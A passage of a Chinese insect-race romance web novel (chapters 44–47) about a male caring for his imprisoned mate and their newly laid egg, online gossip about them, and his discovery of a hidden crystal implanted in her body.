“虽然是雌蛋,但发育得不错,会是一只高级雌虫……”赫尔辛斯念叨着。 索涅吻在他唇上。 雌虫有些忐忑的话音戛然而止。 “你先躺下,”索涅取走他怀里的箱子,将雌虫轻轻推倒,“刚生完蛋,就这样坐着?” 赫尔辛斯说:“您进来的时候我刚坐起来。” 索涅抱起保育箱,小心地凑到跟前观察着虫蛋。上面的纹路和赫尔辛斯的虫纹不一样,颜色要更深些。 “您……第二轮的结果怎么样?”赫尔辛斯犹豫着问。 索涅一怔,这才发现自己忘记告诉赫尔辛斯结果。他的心神一直被雌虫占据,竟然把这件事抛到了脑后。 “通过了,”他笑着坐在雌虫腰腹边,“猜猜是第几名?” 赫尔辛斯看着他,眼里露出笑意,“第……十?” 雄虫摇头,“再猜。” “第五?” “再猜。” “第四?” 索涅看到雌虫眼里的笑,佯装不开心,“你逗我是吧?你是不是早就知道了?” “我只是对您有绝对的信心。”赫尔辛斯说道。 索涅失笑,“你总是预估得这么准确。” 他怕自己的动作让虫崽崽不舒服,抱了一会儿就放在床上。 赫尔辛斯的目光情不自禁地跟着箱子走。 索涅失笑,将保育箱放到雌虫枕边,“我吓到你了?在门口听说有雌虫生蛋,我当时腿都软了。” “但您还是一路跑进来,其实生蛋对雌虫来说不算什么,我也不用总是躺着,很多雌虫生完蛋就会出去工作。”赫尔辛斯说道。 对王虫来说,生蛋尤其容易。 “那是他们。”索涅蹲在床前,指尖轻轻触碰雌虫的小腹,“赫尔辛斯……” 他很没出息地鼻子又酸了。 “我都没陪着你……” 赫尔辛斯不明白他的小雄主在纠结什么,但这不妨碍他安抚索涅。他挪动身体,露出一块空荡的床铺。 “您愿意陪我睡一会儿吗?”他仰头看着索涅,目光柔和。 索涅几乎想立刻一头栽倒在雌虫旁边! 他低头在雌虫额头印了一个吻,“先等等,我去说点事儿。” 门外的五只雌虫话不投机,原来的三只正在聊天,新来的两只站得笔直,肩上比他们多一条短杠。 “打扰,”身后的门突然打开,索涅出来后又关上门,“我想问一件事。” “阁下请说。”雌虫们神色整肃。他们可是得到消息,这位雄虫已经通过第二轮! “我需要营养仓,更柔软的床铺和有光照的房间。”索涅说道。 一只军雌说:“您可以带着蛋离开监牢,虫蛋是免罪的——” “不,我就住在这里。但我感觉不舒服,你们应该有更好的房间?”索涅说。 “这个,我们也不能决定。”军雌们对视一眼,推脱着说。 索涅没什么反应,转身进入房间,门静悄悄地在军雌们面前关上。 他们面面相觑,不敢相信雄虫竟然这么容易就放弃,并且没有为难他们。 很快他们就知道,索涅选择直接为难他们的长官。 “安莫因!我已经很给你面子了,一个叛族罪犯,还背着伤害圣子的重罪,我给他的待遇简直算包庇!”一道怒吼响彻办公室。 红发雌虫正双手撑着对坐在他对面的银发雌虫破口大骂。 “体面点儿,”安莫因身体后仰,避开对方的口水攻击,“你确定要把锅盖扣到我头上?” 红发雌虫神情一顿。 “难道不是这只雄虫恰好给了你一个借口?”安莫因懒洋洋地说道,“你应该谢谢我,尊敬的的杰里士庭长。” “我谢你个屁!要谢也是谢那只雄虫!”杰里士焦躁地挠着头,在办公桌后面转了数十个圈,“现在怎么办?虫屎!你倒是快点找证据!” “哪有那么容易,你又不是不知道那两只雌虫擦屁股的速度。”安莫因看起来一点也不着急。 “希望赫尔辛斯不会变成那个样子,”杰里士叹一口气,“法门又被打了?” “小伤。”安莫因语气淡淡,“你真是个随风舞动的墙头草,小心扭到腰。” 赫尔辛斯曾是杰里士带教长官,法门、科亚是杰里士的同窗同僚,后来分别嫁给了艾浮和西沙。 “用你管!备你的孕去吧!”杰里士精准攻击。 安莫因的脸色果然变得相当臭。 杰里士像个无头苍蝇转来转去,片刻后神情凛然,一巴掌拍在桌子上:“太荒谬了!” “……你不同意?”安莫因问。 “同意!”杰里士怒吼,“一边要我对伪证睁只眼闭只眼,一边要豪华包间在监狱里养老!你们不如弄死我算了!” “……” “听说赫尔辛斯生了一枚很有恩其顿特色的雌蛋,我要去看看,你去吗?” 杰里士略一犹豫。 “那我先走了。”安莫因不给他思考的时间。 杰里士连忙拿起外套,“你特么等等我!” 第44章 还有事瞒着我 索涅紧紧地抱着保育箱…… 索涅紧紧地抱着保育箱。 面前两只不请自来的雌虫正矮身观察虫蛋, 要不是隔着一层可以防弹的箱子,索涅肯定他们会上手摸来摸去。 虫蛋圆圆胖胖,在暖色灯下有种肉嘟嘟的感觉。它不会说话, 也不会躲, 只能安静地坐在箱子里, 接受两个怪蜀黍的目光洗礼。 “长得真可爱。”安莫因说。 他的眼睛几乎在放光。 “杰里士庭长, 之前我发给您下属的请求, 他向您报告了吗?”索涅将保育箱放回赫尔辛斯身边。 “我看到了, ”杰里士神色一正,“索涅阁下,我必须很抱歉地说明, 联盟并没有待遇那么高的牢房。” “所以, 您今天是专门来拒绝我的申请?”索涅问。 杰里士神秘一笑, “不,您可以自行为这里添置一些仪器——您需要的那种。” 索涅怔然, 紧接着向杰里士郑重地微微躬身,“我明白了,多谢您。” 杰里士眼皮一跳。虽然当了三年庭长,但还真没有雄虫这么给他致谢。 “既然你们说完了,索涅阁下, 我可以抱抱虫蛋吗?”安莫因期待地问。 “不行。”索涅直白地说。 “我也没有抱过,等孵出小虫崽,您再抱它也不迟。”他补充道。 听到连索涅这个雄父也没抱过,安莫因不得不遗憾地放弃这个想法。虫蛋外壳并不坚韧, 他完全理解索涅的小心翼翼,当初他也是这样。 “您没有参加昨晚莫里斯宫的宴会,可是错过一出好戏。”安莫因挑眉说道, “赫尔辛斯,是关于你的。” “和我有关?”赫尔辛斯疑问。 “索涅阁下,您应该在星网上看到了。”安莫因坐在唯二的合金椅上,被杰里士瞪好几眼也纹丝不动。 “我并没有上星网。”索涅说道,“杰里士庭长,您可以坐这里。” 索涅起身坐到赫尔辛斯旁边。这个房间虽然大,但基本的配置还是不变,两椅一桌一张床。 “多谢您。”杰里士又瞪了一眼安莫因,施施然坐到椅子上。 “那您可错失良多。”安莫因眼里闪着兴味,“艾浮和西沙两位圣子出席宴会,竟然来得比费伦斯还迟,这倒不要紧,他们两位的堂弟可比他们还出风头。” “他那个堂弟性格阴沉不爱交际,昨晚竟然先于艾浮向法门邀舞。”安莫因忍不住露出明显的笑意,“艾浮圣子今早在星网解释,说他堂弟喜欢的是赫尔辛斯,因为法门和赫尔辛斯有些相像,所以爱屋及乌。” 赫尔辛斯:“……所以呢?” “现在星网上风风雨雨,全是他们几个的爱恨情仇,唯独没有索涅阁下您的名字,您是不是也应该说两句?”安莫因终于说出今天来的目的之一。 这年头,像索涅这种不爱逛星网的还真不多,星网的影响力恐怖非常。 索涅抚摸虫蛋的手顿时停下,眉头拧成一股,“这只雄虫有什么目的,破坏艾浮的形象?”。 “听说他和艾浮不和,第二轮他的名次仅排在您之下。”安莫因说道。 索涅丝毫没有注意到自己之下是谁。 “让雄主去蹚浑水?”赫尔辛斯皱眉,“这不是明智的选择,法门什么反应?” “没有反应,他拒绝了维希的邀请,很快就退场,也没和艾浮跳舞。”安莫因说。 “法门不会辜负恩其顿的培养,他比我更有责任感。”赫尔辛斯说。 “几年时间过去,你确定自己还了解他?”杰里士面色复杂,“他已经不是从前的法门了。” “这个维希似乎和我说过话,”索涅想起来一点东西,“他知道我和赫尔辛斯的关系。” “恩修认识维希。”他说。 果然通过六个人就可以拉出全世界的关系网。 “赫尔辛斯的事既然是艾浮提出来的,那么维希的目的应该不是赫尔辛斯,也不是圣子身份,”索涅说,“他想要的,是法门。” 这么大庭广众地向婚雌邀舞,而且还是自己哥哥的雌君,维希就算能成为圣子,名声也不用要了。 杰里士喃喃:“这家伙还真是个祸水。” “恩其顿的雌虫哪个不是?”安莫因嗤笑一声,“每一代王虫总会出点婚姻上的幺蛾子。” 索涅和赫尔辛斯静静地看着他。 安莫因收敛神色:“我不是说你们。” “……” 索涅沉思片刻,与赫尔辛斯的目光相对。 “我以后会注意星网的信息,”索涅说道,“感谢您的提醒。” “虫蛋很可爱,看在小虫崽崽的面上,赫尔辛斯,我再告诉你一个好消息,”安莫因笑眯眯地说,“莫尔亚怀了一枚蛋。” 赫尔辛斯:“……” 雌虫一言难尽地看着安莫因。 索涅不解:“你们为什么这个表情?不过我还以为莫尔亚没有结婚。” “他确实没结婚。”赫尔辛斯说。 安莫因脸色不大好看。 “不过莫尔亚那么努力,怀上了就是好事。”赫尔辛斯看向索涅,眼里露出一丝笑意,“我也想生。” 索涅被震得猛咳。 “……这个都还没孵出来,你着什么急啊。”安莫因阴阳怪气,“无论怎么样,莫尔亚的蛋辈分比你的崽子大。” 索涅看着他们斗嘴,心想原来莫尔亚和某雄虫是未婚先孕外加老夫少妻。 安莫因言明他要出差,摸了摸虫蛋的保育箱,心满意足地走了。 杰里士跟在他身后,目光探究。 “是不是有什么新线索?” “不告诉你,”安莫因的心情看起来不错,“等我回来你就知道了。” 杰里士嗤了一声,和他在最高法门口分道扬镳,场面仿佛盖世仇敌。 监牢里,索涅仔细地观察着虫蛋,对照着孵蛋手册逐一比对。 “崽崽怎么不动呢?”他苦恼地问雌虫。 手册上说这时候虫蛋偶尔会动一下。但他们的虫蛋安安静静,就算刚才被陌生蜀黍靠近也没反应。索涅心里有点慌。 “或许,它是个沉稳的虫崽?”赫尔辛斯说。 索涅不得不相信这个说法,因为虫蛋实在是非常健康。 “肩膀疼?是不是坐累了?”索涅放下保育箱,坐到雌虫身后给他按着肩颈。 索涅的手指靠近后颈,赫尔辛斯有一瞬间紧绷,雄虫没提出任何不对,他才渐渐放松下来。 珀斯晶体是个定时炸弹,赫尔辛斯不清楚它离爆发还有多久。 “赫尔辛斯,”索涅给他按了一会儿,搂住雌虫的腰,“你想公布吗?” “您决定就好。”赫尔辛斯轻声说。 “是关于你,当然由你决定。”索涅说。 “第三轮在十五天之后,不知道舆论会发展成什么样子。其实我一直不明白,那只虫不像会毫无把握地将你还给我,”索涅将下颌搭在雌虫肩头,“你一直没有告诉我。” 雌虫努力地保持气息平稳,可他微颤地眼睫还是让索涅心中更加肯定。 “你是不是还有事瞒着我。”索涅在赫尔辛斯耳边轻声说。 房间落针可闻。 索涅轻轻地抬起雌虫微垂的脸,看着那双眼睛,语气轻柔,“是不能说,还是不想告诉我?” 赫尔辛斯和他对视几秒,眼睑垂下,“……没有什么事,您又怀疑我。” 被这家伙倒打一耙,索涅反而笑了。 “自己数数,你骗我的还少吗?”他轻吻雌虫颤动的眼睑,紧紧地抱着雌虫的腰,“我怕你有危险不告诉我,没事就好。” 赫尔辛斯静静地感受着索涅的体温,仰头靠在索涅怀中,垂眼看着旁边岁月静好的小虫蛋。 索涅抬手将保育箱取过来,放在雌虫身边,“时间还早,你先睡一会儿,我去买晚饭。” 赫尔辛斯点点头,卧在床上闭上眼。 雄虫在他唇上温柔地亲了一下,随后走出去关上门。 几分钟之后,赫尔辛斯睁开眼坐起,看着空荡荡的房间。雄虫每次离开,他都觉得时间分外难熬。 赫尔辛斯犹豫一会儿,缓缓地伸手探到背后,指尖搭在后颈微微凸起的脊骨。 那块皮肤有些僵硬,但在骨头的掩护下并不明显。他用力按下去,却没感受到以往那种明显的刺痛鼓胀。 赫尔辛斯唇角抿起。 那一小块珀斯晶体,已经被身体吸收。凌迟的日期又在哪一天? 他估摸不准,也无法提前防范,珀斯晶体的谜题至今未能解开,他也不从事科研,要是可以联系费伦斯执政官,或许能得到一点帮助。 但安莫因和费伦斯关系不好,赫尔辛斯也极少碰到这位传闻中的科研狂魔。不过如果珀斯晶体的研究有突破,以费伦斯的性格应该会直接公布,赫尔辛斯现在也不敢报太大的希望。 他放下手臂,沉入精神域中观察着精神丝的状态。 锁环将精神丝与四肢的连接锁死,他的精神丝只能在精神域内蛰伏,构造出一番碧海青天的广阔景象,安静而和谐。 赫尔辛斯不敢多待,查看一番并无异常后就回归现实,小心地照看着虫蛋。 这是他的第一枚蛋。 中间稍有曲折,但发育和生产都无比顺利,它的双亲都非常爱它。 赫尔辛斯唇角忍不住上扬,和索涅一样,他也越看虫崽崽越无法控制嘴角。 这头,索涅离开最高法后并没有立刻去买食物,而是来到附近一处奶油色的别墅,院子还栽了木架,花田被打理得整整齐齐,看起来已经种了东西。 索涅迟钝地意识到,春天了。离他开学也不远了。 他的眉头不禁蹙起。 “站门口发什么呆?快进来帮忙。”门打开,恩修双手沾满面粉。 索涅心中好奇,“你们在干嘛?” “蒸包子,我还煲了清鸡汤,等会你给你老婆多带点儿。”恩修絮絮叨叨地说。 “我就有这个打算,所以在饭点过来。”索涅说,“莱昂兹也在?” 厨房里一阵乒乒乓乓。 “怎么可能不在?这家伙不会错过我做的任何一顿饭。”恩修无语地说。 “莱昂兹!你先休息会儿,我和索涅去楼上谈点儿事!”他大声说。 厨房离得有点远,莱昂兹的声音嗡里嗡气。 “到底什么事儿?”索涅坐在沙发上,恩修这书房里只有游戏设备。 “我说了你可别笑我。” “说吧。”索涅淡定地拿起茶杯。 “我和莱昂兹睡了。” “噗——!” 第45章 已婚已育 恩修早有准备地拿起纸巾递给…… 恩修早有准备地拿起纸巾递给索涅。 “忒埋汰, 我刚才都提醒过你不要笑。” “你说什么?!!”索涅一边擦一边震惊,“你把他睡了。” “什么叫我把他睡了,”恩修不乐意, “就不能是我们俩把彼此睡了?” “行行行, 不管谁把谁睡了, 到底怎么回事?你不是说莱昂兹不是你的菜吗?擦枪走火了?”索涅非常好奇事情到底是怎么发生的。 “不用给我描述细节, 讲讲你心路历程。”他又强调。 恩修无语地翻了个大白眼, “你特么娃都生了还这么矫情?那没得说, 我心路历程全是你不想听的东西。” “啧啧啧,”索涅的心情难以言表,“你这是老早就觊觎人家了吧?” 恩修摸了摸鼻子, “我没, 我就是看他长得挺瓷实。” “……你不要用那种眼神看我, 这是个意外!”恩修大声说。 “我和他都喝多了,他脸白里透红我正欣赏呢, 他一头栽倒在我□□——” “停!”索涅手势打停。 “这种细枝末节就不用跟我讲了,你现在什么想法,打算结婚了?”索涅喝着茶问。 “没有啊,”恩修一脸坦然,“他说不要紧, 让我忘了就行。” 索涅极为鄙视,“你这损样,他不这么说还能怎么办?你可长点儿心吧。” “……他装的?”恩修一脸怀疑人生,“他那么老实……不会吧?” “莱昂兹只是不爱说话, 又不是傻。”索涅说。 其实恩修会这么认为,大概还是滤镜作祟,再加上莱昂兹长得很有迷惑性…… “……我再想想。”恩修拧起眉头, “先下去吧,前面几笼包子你先给你老婆带回去。” “够意思。”索涅一口喝光茶水。 恩修觉得值。 听君一席话,少走十道弯。 他们下去的时候莱昂兹正坐在桌边吃水果,果盘里所有橘子都消失不见。 “你嘴不疼了?不知道这玩意儿上火?”恩修把他手里半个橘子夺下,塞进自己嘴里。 莱昂兹还没吃够,眼巴巴地看着恩修。 “等会儿吃晚饭,吃完你要是牙还不酸,我就让你吃。”恩修哄道。 必酸,莱昂兹牙齿敏感。 恩修把莱昂兹哄到旁边盯蒸锅,指使索涅给他擀皮儿,自己五秒一个包子包得飞快。 雌虫们胃口大,他做的都是七厘米的大包子,十几分钟出锅。 “喏,走快点,别弄冷了。”恩修打包好包子和鸡汤。 “谢了,希望你得偿所愿。”索涅笑着收下。 “我连自己想要什么都不知道。”恩修叹了口气,送走索涅后回到屋里,就发现某只雌虫正在偷偷漱口。 “是不是牙酸了?我提醒过你多少次?” 被抓包后,雌虫含着一口温水偷偷地瞅他。 “慢慢咬包子吧,今天不能再吃橘子了。”恩修把所有橘子都收了起来。 莱昂兹并不反对,跟着恩修走到厨房,恩修从好蒸好的锅里给他夹出一个包子。 “小心烫。” 莱昂兹咬了一小口,酸软的牙根让他非常痛苦,不能好好享受美食。 雄虫是对的,他不应该吃那么多橘子。 但恩修唠叨他的样子他很喜欢 感谢索涅阁下,他的到来悄无声息溶解了他和恩修之间有些尴尬僵硬的气氛。 “过几天我们去看看小虫蛋,据说长得很可爱,”恩修说。 莱昂兹只顾着吃包子,连连点头。 —— 监牢门前,军雌们正在交接班。 下班的两只军雌走在一起,其中一只忍不住回头看了一眼。 “怎么又换新面孔?”他嘀咕着说,“以前没见这工作这么抢手。” “你是真傻还是装傻?”同僚,“不知道里面那位的雄主多招眼?” “都是奔着索涅阁下来的?”军雌震惊,“这根本没用啊,索涅阁下只喜欢恩其顿的那位。” 同僚感叹,“我们知道,他们可不知道,一个个都打着近水楼台先得月的主意。” “你别说,新来的这几位长得还挺不错,养眼。”军雌说。 同僚:“……咦惹!” 他们绕过拐角,没注意到话题中心正提着饭盒从他们后面走过。 索涅发现监牢又换了一批值守军雌。他走到门前,这些军雌却不给他开门,而是凑上来搭话。 “阁下您好,您还没吃晚餐?”一只军雌热情地问。 “请帮我开门。”索涅面无表情。 “我也没有吃呢。”军雌说,“听说附近新开了一家不错的餐厅,您想尝尝吗?。” “请帮我开门。”索涅说。 军雌还有话要说:“阁下——” “我没有陪你说话的义务。”索涅一字一顿,“或者说你对最高法的批准有意见,我非要陪你聊天才能进去?” 军雌面色讪讪,另一只行动慢他一步的军雌这次抢先打开门。 “谢谢。”索涅说,然后目不斜视地走进去。 合金门紧紧地扣在一起,将背后如狼似虎的目光隔绝在外。 当天晚上,一则有关第二关黑马雄虫婚姻问题的帖子悄然出现在星网,一夜之间被大肆转发。索涅听取安莫因的意见,开始每天了解星网热点新闻,却不料刷到了自己。 他点进去,每十条里有三条谩骂、四条揣测、三条阴谋论。 有虫觉得他试炼作弊正在被最高法调查,有虫觉得他营销爱雌形象,心机叵测。 索涅则是头一次知道,虫族还有爱雌营销这种东西。 他觉得这些揣测索然无味,索性给自己注册了个新的星网账号,然后发布了一条只有四个字的帖子。 [已婚已育] 不过半小时,杰里士发给他一条消息。 [索涅阁下,需要我帮你一把吗?] 索涅扬起唇,这种帮助他当然求之不得。 于是星网上风风雨雨的伦理爱情故事里,又被他横插一脚,并且已经和舆论中心恩其顿前王虫生了一枚蛋,绝对的胜利姿态。 最高法发布澄清索涅·诺米茨阁下并未受审的帖子,不少虫跑去问索涅阁下是不是真的陪着雌奴住在监狱里。 这不属于咨询范畴,最高法缄默不语。 索涅这两天出去买食物,陡然发现周围多了不少鬼鬼祟祟的虫子,一路跟着他,并且越靠越近。 他果断报警。巡逻队很快赶过来揪住几只没来得及跑的虫子,索涅买好东西回到监牢,就发现门口一只军雌又换了。 这回没有虫上来碍眼,按照流程给他开了门,索涅走进去时赫尔辛斯正在墙角倒立。 索涅蹲在雌虫面前。 “累不累?”他问。 雌虫闷声:“这不算什么。” 监牢很闷,他的雌虫是有翅膀的,却只能缩在这笼子里。 索涅目光上移,落在雌虫块状分明的小面包上。他伸手摸了一下雌虫,身体微颤。 “硬度又回来了,”索涅戳着鼓鼓的面包们,“生殖道恢复得怎么样?我可以再申请治疗剂,我不问你就不说是不是?” 赫尔辛斯腹部肌肉抽动,小面包更鼓了,“本来就没有受伤,您总是不信。” “……那么大的蛋,你让我怎么信?”索涅小声地说,“我看过,又肿又红,你别以为收拾干净我就发现不了。” 赫尔辛斯的脸骤然涨红,差点没撑住倒下来,索涅连忙扶住他的胯。 “您什么时候看的?!”赫尔辛斯看起来很羞耻,耳朵红得像熟透的草莓。 “我趁你睡着,偷偷地扒掉你的裤子……”索涅故意压低声音,音色暧昧低沉。 “您不能……我不想让您看到……”雌虫声若蚊吟,“现在很丑陋,等恢复好,您想看多久看多久。” “想什么呢,我只是看看你的伤势。”索涅故作生气地捏了捏赫尔辛斯,“我平时很急色?” “您的手还……”赫尔辛斯提醒他。 索涅轻咳一声,把自己的手从赫尔辛斯的小面包上拿下来。 “这不算急色,谁让它们长得那么整齐那么饱满。”他指控雌虫的小面包们。 小面包生来就适合被捏。 近一个月没有负距离接触,赫尔辛斯还经历了格外难熬的孕期,到底是谁更急色还真不好说。 赫尔辛斯不得不从墙上下来,靠坐在墙角轻轻地喘着气。 雄虫太犯规了。 雌虫闷闷地坐在椅子上,索涅从背后拥着他,漫不经心地帮他按摩着肘关节。 “第三轮还有十天,那个维希一直联系我面谈,不知道要说什么。”索涅说。 “恩修也说维希性格很奇怪,”索涅面色奇妙,“他觉得维希是个变态。” 赫尔辛斯沉默,“……您想见他?” “不太想,”索涅说,“不过我有点好奇他到底要跟我说什么,神神秘秘的样子。” “赫尔辛斯,你说他真的喜欢艾浮的雌君吗?”索涅问。 “不太可能,梅尔加的雄虫一向唯利是图,大概率他只是想把法门拉下水,削弱艾浮。维希的雄父等级不高,很不受奥维待见。”赫尔辛斯说道。 “这是伤敌一千自损八百,而且伤敌与否还不好说。”索涅说道。 “或许您应该见见他。”赫尔辛斯沉思着说,“约在一个足够隐蔽但又安全的地方。” 索涅若有所思。 两天后,索涅坐在某冷清的咖啡馆里。 一头奶奶灰的时髦雄虫飘过来,犹如冤魂般坐在索涅对面。 索涅:“……” “看。”维希声音幽幽。 索涅拿过那个破破烂烂的笔记本。 他原本漫不经心,看着看着,舒展的眉头逐渐紧锁。 “珀斯晶体?”索涅喃喃。 “嘘。”维希神经兮兮地竖起手指。 索涅抬头一看,周围空无一虫。 “艾。”维希又说,然后在自己身上双指作剪刀比划来比划去。 索涅眸光一闪。艾?艾浮? “雌。” 雌,雌虫?赫尔辛斯?还是法门? 还有什么? 剪刀……珀斯晶体! 索涅陡然睁大眼睛,“你是说——” “嘘。”维希又竖起手指。 “你就不能多说几个字?”索涅无奈。 维希拿过本子,写下一段话:我告诉你这么重要的消息,你要救法门,我可以配合你。 索涅目光幽幽。 这家伙原来真喜欢嫂子啊……—— 作者有话说:我思来想去还是把临倍和梅里纳的剧情删掉了,感觉完全可以一笔带过[狗头] 第46章 我需要您 赫尔辛斯静…… 赫尔辛斯静静地坐着, 目光落在虚无的一点。 他低下头,怀里保育箱灯光温暖明亮,小虫蛋乖乖地坐在织物当中, 表面已经由肉嘟嘟磨砂感变得坚硬而光滑, 卷草虫纹纤细中带着华丽。 赫尔辛斯轻轻地抚摸着保育箱。 他的目光不知第几次落在监牢的门上。 雄虫这次离开的时间格外长。 索涅站在门口, 微不可察的叹了口气。 他推开门, 雌虫正孤零零地坐在椅子上, 长发垂在身后, 眉头并不松快。 看到他进来,雌虫的眼睛一下子亮起来,定定地看着索涅。 “我回来了, ”索涅说, “抱歉, 和维希聊得有点儿久。” “他给我看了一些东西,”索涅话音微顿, 将手里的小蛋糕放在雌虫面前,“先尝尝这个吧,我看很多虫买,不知道你喜不喜欢。” 赫尔辛斯嗅到一股香甜的水果奶油味,还有雄虫身上缓缓散发的醇厚香味。 “我喜欢。”他说。 索涅失笑, “都还没尝呢。” 他将盒子拆开,这是一块树叶形状的千层慕斯,赫尔辛斯认识这款蛋糕,这家店相当有名气。 赫尔辛斯挖下一小块放进嘴里, 唇齿将蛋糕抿开,香甜的奶油让他忍不住扬起唇。 原来这么晚回来,是为了给他买蛋糕…… 吃到了蛋糕, 雌虫的心情看起来一下子变好了。 “好吃吗?”他问雌虫。 雌虫点点头,漂亮的金发在肩膀滑动。 “好吃。” 索涅勾起唇,“好吃就多吃点。” 半个小蛋糕下肚,赫尔辛斯犹疑地开口:“您是不是有话要说。” “不急,”索涅笑了,“你先吃。” 赫尔辛斯有点吃不下了。 他心里莫名很慌。 小雄主笑得他背后发凉。 “我……吃饱了。”赫尔辛斯小心地说。 “行。”索涅把半个小蛋糕拽过来一口吞掉。 赫尔辛斯:“……” 索涅皱起眉,把嘴里齁甜的玩意儿咽下去。 赫尔辛斯忐忑地被索涅推坐到床上,雄虫宽大的斗篷劈头盖脸蒙住他,一双手摸到他的衣领,缓缓地解开第一颗扣子。 昏沉的黑暗里,赫尔辛斯无意识地向后挪动,将后颈压在枕头上藏得严严实实。 牢服是暗淡的灰色,索涅摸黑解开所有扣子,手掌紧紧地贴在雌虫腹部。 温凉的指尖仔细逡巡着每一块肌肉,每一处骨骼,轻轻地揉按着。它游走过小腹、肋骨、胸前,慢慢地从雌虫的肩膀爬升到脖颈,在前方一无所获后,温柔的嗓音响起: “转过去。” 赫尔辛斯轻轻地喘着气,被斗篷裹住的身体渐渐发出汗意。 他脑海中千万种想法交错回旋,碰撞出怎么也理不清的纹裂,心中的崩溃被身上衣物缠住,连呐喊也发不出,连阻止雄虫的话也说不出。 他眼角湿润,转身趴在床上,沉默地任由拷问。 雌虫的蝴蝶骨极其漂亮,优雅而修长,两片仿佛瓣膜一样的、一指长的裂缝嵌在背部,索涅不过不小心碰到它,薄如蝉翼的瓣膜轻轻抽动阖张,将他指尖卷了进去。 索涅摸到一块坚硬的骨头。是雌虫最具杀伤力的天然武器——骨翼的翼尖。 但同时,瓣膜也是极其敏感的部位,它和骨翼一样,随雌虫的心情欲望而闭合张开。 “……先做正事。”索涅说。 赫尔辛斯羞耻地闭上眼,瓣膜一下子将索涅的指尖挤了出来,紧紧地关闭大门。 索涅:“……” 他定下心神,专注地在雌虫的背上摸索着。 在哪里…… 指尖揉到一块微微发硬的皮肤。索涅怀疑地又揉了两下,果然,那种手感不是骨头,而是像某种皮肤病变。 他专心地低头靠近去研究那块皮肤,丝毫没注意到自己的衣袖正落在雌虫的瓣膜上。 赫尔辛斯甚至顾不上思考怎么和雄虫辩解,他一门心思地试图把雄虫的衣袖挤开,但衣袖不同于手指,他反而不小心将衣角纳入翼腔,并且挤不出去了。 他偷偷地伸手扯住雄虫的衣袖。 “干什么呢?”索涅捉住他的手。 “您……”雌虫难以启齿,“您可以脱掉外套吗?” 索涅并未起疑,随意地脱下外套扔到一边,“赫尔辛斯,是我直接问你,还是你先从头到尾给我解释一遍,这到底是什么?” 他按着那块异常的皮肤。 “还是说,我们应该先仔细地捋一捋,你到底对我撒了几个谎?” 雌虫趴在床上,瓮声瓮气:“没几个。” “您也骗我。”他说。 “……我哪儿骗你了?”索涅气笑。 他抬起身,仔细地又掖了一遍斗篷,确保雌虫的艺术品身体裹得严严实实。 雌虫却又不说话了。 赫尔辛斯看不到外界景象,额头已经渗出汗水,打湿雄虫的斗篷。 索涅仔细地检查过后脸色分外难看。 “如果我没发现,你准备瞒我到什么时候?” “等狂躁发作?等无药可救?你是怕我不要一个依靠珀斯晶体的雌虫,还是你已经不需要我?” “不……不是……”赫尔辛斯口中喃喃着。 索涅低头看着他,情绪分外冷静,“现在,你只需要珀斯晶体,是不是?我的精神力已经对你没用,我们分开也没关系——” “不!” 雌虫挣扎着从他身下爬起,厚重的斗篷被一把掀开,那张脸被泪水浸湿,发丝凌乱地贴在皮肤上,显露出一种狂乱的美态。 索涅不慌不忙地伸手接住斗篷,重新裹回雌虫身上,将奋力挣扎的身体强行按在怀里。 雌虫的力气很大,但随着泪水疯狂涌出,他渐渐地失去力量,颓废在索涅怀中。 “我需要您…………”他啜泣着,献出那颗层层保护的真心。 索涅吻在他吐露甜美词句的唇上,“我知道。” “赫尔辛斯,我离不开你,你却每一次都给我死亡这种刺激。” “你是不是算准了我会原谅你?所以肆无忌惮地消耗我的信任。你为了保护我而遇到这些危险,但如果没有你,我不想活着。” 赫尔辛斯是他融入这个不知真假的世界的唯一意义。 赫尔辛斯揪紧他的衣襟,用了力气啃在索涅的唇上。 “我也想陪着您……”他带着鼻音,“所以我回来了,只有带着那块晶体,我才能回到您身边。” “但我已经配不上您。”他说,“毁容的恩其顿一文不值。” 容貌、实力、地位是王虫的骄傲,赫尔辛斯已然失去两个,现在身体被锁环束缚,连实力也不复存在了。 “都是我的错,我连累了你。”雄虫声音沙哑。 赫尔辛斯失笑:“您救了我。” “没有我,你的朋友也会去救你。”索涅已经明白,有不计其数的虫在为营救赫尔辛斯而努力。 “不,您再晚来一个小时,我就死了。”赫尔辛斯清楚自己当时的情况,他已经油尽灯枯, 索涅浑身颤了一下。 或许他真的会和赫尔辛斯错过?假如他没有坚持去最后一层?假如他晚去一个小时?哪怕是几分钟? 这种猜测让他浑身血液发冷。 “但是……”雌虫想起一些微妙的事,“当时我比现在还丑陋,您怎么会选择我?” 索涅拥紧他,仔细地回忆着,“你的虫纹在发光,吸引着我走到最里面,看清了你奄奄一息的样子。” 雌虫不自在地垂下眸子。 他一定非常丑。 “我看不清你的脸,但你的肩膀断了,到处都是血迹,五年之久,你却还活着,”索涅眼前似乎又浮现那个画面,“你想活,对我也没有敌意,所以我带走你,养着你,最后爱上你。” 赫尔辛斯着迷地听着雄虫说的每一句话,每一个字。 “然后你骗我,我原谅你,你再骗我,我再原谅你。”索涅又说。 赫尔辛斯:“……” 这个账还没有翻篇吗? 索涅低头威胁性地咬了咬雌虫的唇,“你可真有劲儿,转着轮椅到处跑,让我跟在你屁股后面追。” 雌虫耳朵微红。 “是您说不喜欢我。”赫尔辛斯想辩解几句。 “我以前没脑子,脑袋里全是浆糊。”索涅觉得刚穿过来的自己是这样的,迷迷糊糊,走一步算一步。 “还是你教我教得好,今天我总算是聪明一回,维希笔记本上写的什么东西我一眼就看出来了。”索涅说道,“是他告诉我,你被植入了珀斯晶体。” “维希?”赫尔辛斯拧眉,“他的确有可能知道,他是费伦斯永恒项目的志愿者。” “志愿者?”索涅第一次听说。 “联盟主要一共有三大永恒项目:基因进化、珀斯晶体、精神力实体化,都掌握在执政官手中。维希曾参与过珀斯晶体项目的临床实验。” “实验成功了吗?”索涅问。 赫尔辛斯摇摇头,“雄虫对珀斯晶体完全无感。” “执政官对珀斯晶体一定了解得很多。”索涅目光落在雌虫后颈,暗自下定一个主意。 “有虫传言费伦斯已经掌握利用珀斯晶体强化雄虫精神力的方法,可以取代梅尔加和恩其顿的特殊联结,不过只是传言罢了。”赫尔辛斯说。 索涅知道梅尔加的神奇之处。 在三大王族里,白玉蜂是被孤立的,恩其顿与梅尔加联姻频繁,在婚后长达百年的相处中,双方精神力都会显著增长,梅尔加与恩其顿结合生出虫蛋的等级也更高。 两个王族渴望永恒的兴盛,这神奇的联结也披上一层浪漫的薄纱,暗地里则利益虬结密不可分。 第47章 打情骂俏 雌虫背过身坐着,索…… 雌虫背过身坐着, 